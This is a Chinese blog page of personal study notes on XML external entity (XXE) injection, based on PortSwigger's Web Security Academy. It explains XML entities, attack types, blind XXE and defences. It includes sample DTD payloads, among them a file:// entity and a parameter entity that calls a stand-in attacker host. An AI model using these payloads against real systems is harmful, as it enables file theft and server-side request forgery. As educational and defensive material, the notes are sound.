某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

    • 说明
    • 笔记-服务端主题

      • SQL注入笔记
      • OS命令注入笔记
      • 文件上传漏洞笔记
      • XML外部实体(XXE)注入笔记
        • XML基本知识
          • 1、什么是XML?
          • 2、什么是XML实体?
          • 3、什么是文档类型定义?
          • 4、什么是XML自定义实体?
          • 5、什么是XML外部实体?
          • 6、XML参数实体?
        • XML外部实体注入(XXE)漏洞
          • 1、XXE漏洞是如何产生的?
          • 2、XXE 攻击有哪些类型?
          • 3、寻找XXE注入的隐藏攻击面
          • 4、如何查找和测试XXE漏洞
          • 5、XXE注入的隐藏攻击面
        • 盲XXE漏洞
          • 1、什么是盲XXE?
          • 2、如何查找和利用盲 XXE 漏洞?
          • 3、查找和利用盲XXE漏洞
        • 如何防范XXE漏洞
      • API测试笔记
    • 笔记-客户端主题

    • 笔记-高级主题

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 个人学习笔记
  • 笔记-服务端主题
carsaid
2024-03-07
目录

XML外部实体(XXE)注入笔记

个人总结

参考:https://portswigger.net/web-security/xxe

- name: 个人总结
  desc: 参考:https://portswigger.net/web-security/xxe
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

# XML外部实体(XXE)注入笔记

# 1XML基本知识

# 1、什么是XML?

答案

XML 表示 “可扩展标记语言(Extensible Markup Language)” 。XML 是一种专门设计并用于存储和传输数据的语言。

  • 与 HTML 的共同点,XML 使用标签和数据的树状结构。
  • 与 HTML 的不同点,XML 不使用预定义的标签,因此,可以随意地为标签指定描述数据的名称。(XML标签的 数据和名称 都可以自定义)

在 Web 历史的早期,XML 作为一种数据传输格式 使其非常流行(“AJAX” 中的 “X” 代表 “XML”)。但它的流行程度现在已经下降,取而代之的是 JSON 格式。

# 2、什么是XML实体?

答案

XML 实体是在 XML 文档中表示数据项的一种方式,而不是数据本身。

XML 语言的规范中内置了各种实体。例如,实体&lt;和&gt;表示字符<和>。这两个字符是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体形式来表示。

# 3、什么是文档类型定义?

答案

XML 文档类型定义(DTD)具有各种声明规则,它可以定义 XML 文档结构、文档内包含的数据值类型 等其他选项。DTD 在 XML 文档开头的DOCTYPE元素中声明,该元素是可选的。

  • DTD 可以完全包含在文档本身当中(称为 “内部 DTD”);
  • 也可以从其他位置加载(称为 “外部 DTD”);
  • 也可以是两者的混合。

# 4、什么是XML自定义实体?

答案

XML 允许你在 DTD 中创建自己的实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
1

# 5、什么是XML外部实体?

答案

XML 外部实体是一种自定义的实体,它的具体定义位于声明它们的 DTD 外部。

外部实体的声明使用SYSTEM关键字,并且必须指定一个 URL,文档会从该 URL 加载实体的值。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
1

URL 可以使用file://协议,因此可以从文件中加载外部实体。例如:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
1

XML 外部实体成为了XML 外部实体攻击的主要手段。

# 6、XML参数实体?

答案

XML 参数实体是一种特殊的 XML 实体,只能在 DTD 内进行引用。在常规实体被阻止的情况下,可以改为使用参数实体。

  • 首先,在定义 XML 参数实体的名称之前,必须包含百分比字符
  • 其次,一般的实体通过&来引用,但参数实体则通过百分比字符%来引用
  • 参数实体 和 外部实体可以搭配使用
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
1

# 2XML外部实体注入(XXE)漏洞

# 1、XXE漏洞是如何产生的?

答案

XML 规范中包含各种潜在的危险特性,而标准解析器支持这些特性,即使应用程序通常不会用到这些特性及功能。

解析 XML 的应用程序,又几乎总是使用标准库或平台 API 来处理服务器上的 XML 数据。

# 2、XXE 攻击有哪些类型?

答案

有各种类型的 XXE 攻击:

  • 利用 XXE 检索文件,其中定义了 包含文件内容 的外部实体,并在应用程序的响应中返回。
  • 利用 XXE 执行 SSRF 攻击,其中,外部实体是根据后端系统的 URL 来定义的。
  • 盲 XXE 漏洞
    • 利用盲 XXE 实现带外泄露数据,其中,敏感数据从应用程序服务器 传输到 攻击者控制的系统上。
    • 利用盲 XXE 的错误消息来检索数据,其中,攻击者可以触发 包含敏感数据 的错误消息解析。

# 3、寻找XXE注入的隐藏攻击面

答案
  • XInclude 攻击
  • 通过文件上传进行 XXE 攻击
  • 通过修改内容类型进行 XXE 攻击

# 4、如何查找和测试XXE漏洞

答案

绝大多数 XXE 漏洞都可以使用 Burp Suite 的Web 漏洞扫描程序 (opens new window)快速可靠地发现。

手动测试 XXE 漏洞通常涉及:

  • 测试文件检索,基于已知的操作系统文件 来定义外部实体,并在可回显的数据中使用该实体。
  • 测试盲 XXE 漏洞,基于你所控制的 URL 来定义外部实体,并监视与该 URL 的交互。Burp Collaborator (opens new window)非常适合此目的。
  • 通过XInclude 攻击尝试检索已知的操作系统文件,测试服务器端 XML 文档中是否包含用户提供的非 XML 数据,以及提供该数据时的易受攻击性。

# 5、XXE注入的隐藏攻击面

答案
  • XInclude 攻击
  • 通过文件上传进行 XXE 攻击
  • 通过修改内容类型进行 XXE 攻击

# 3盲XXE漏洞

# 1、什么是盲XXE?

答案

当应用程序容易受到 XXE 注入的攻击,但不会在其响应中 返回任何已定义的外部实体参数值时,就会出现盲 XXE 漏洞。

这意味着无法直接检索服务器端文件,因此盲 XXE 通常比常规 XXE 漏洞更难利用。

# 2、如何查找和利用盲 XXE 漏洞?

答案
  • 触发带外网络交互,有时会在数据交互的过程中泄露敏感数据。
  • 触发 XML 解析错误,使错误消息包含敏感数据。

# 3、查找和利用盲XXE漏洞

答案
  • 使用带外(OAST)技术检测盲XXE
  • XML参数实体的使用
  • 盲 XXE 带外数据泄露
  • 盲 XXE 通过错误消息检索数据
  • 盲 XXE 本地DTD复用

# 4如何防范XXE漏洞

答案

实际上,几乎所有 XXE 漏洞的出现都是因为,应用程序的 XML 解析库支持某些潜在的危险 XML 功能,而应用程序通常不需要这些功能。防止 XXE 攻击最简单、最有效的方法是禁用这些功能。

  • 禁用外部实体的解析
  • 禁用对 XInclude 的支持

禁用这两者就足够了。这可以通过 配置选项或编程方式 覆盖默认行为来完成。有关如何 禁用不必要功能 的详细信息,请参阅 XML 解析库或 API 的文档。

编辑 (opens new window)
文件上传漏洞笔记
API测试笔记

← 文件上传漏洞笔记 API测试笔记→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式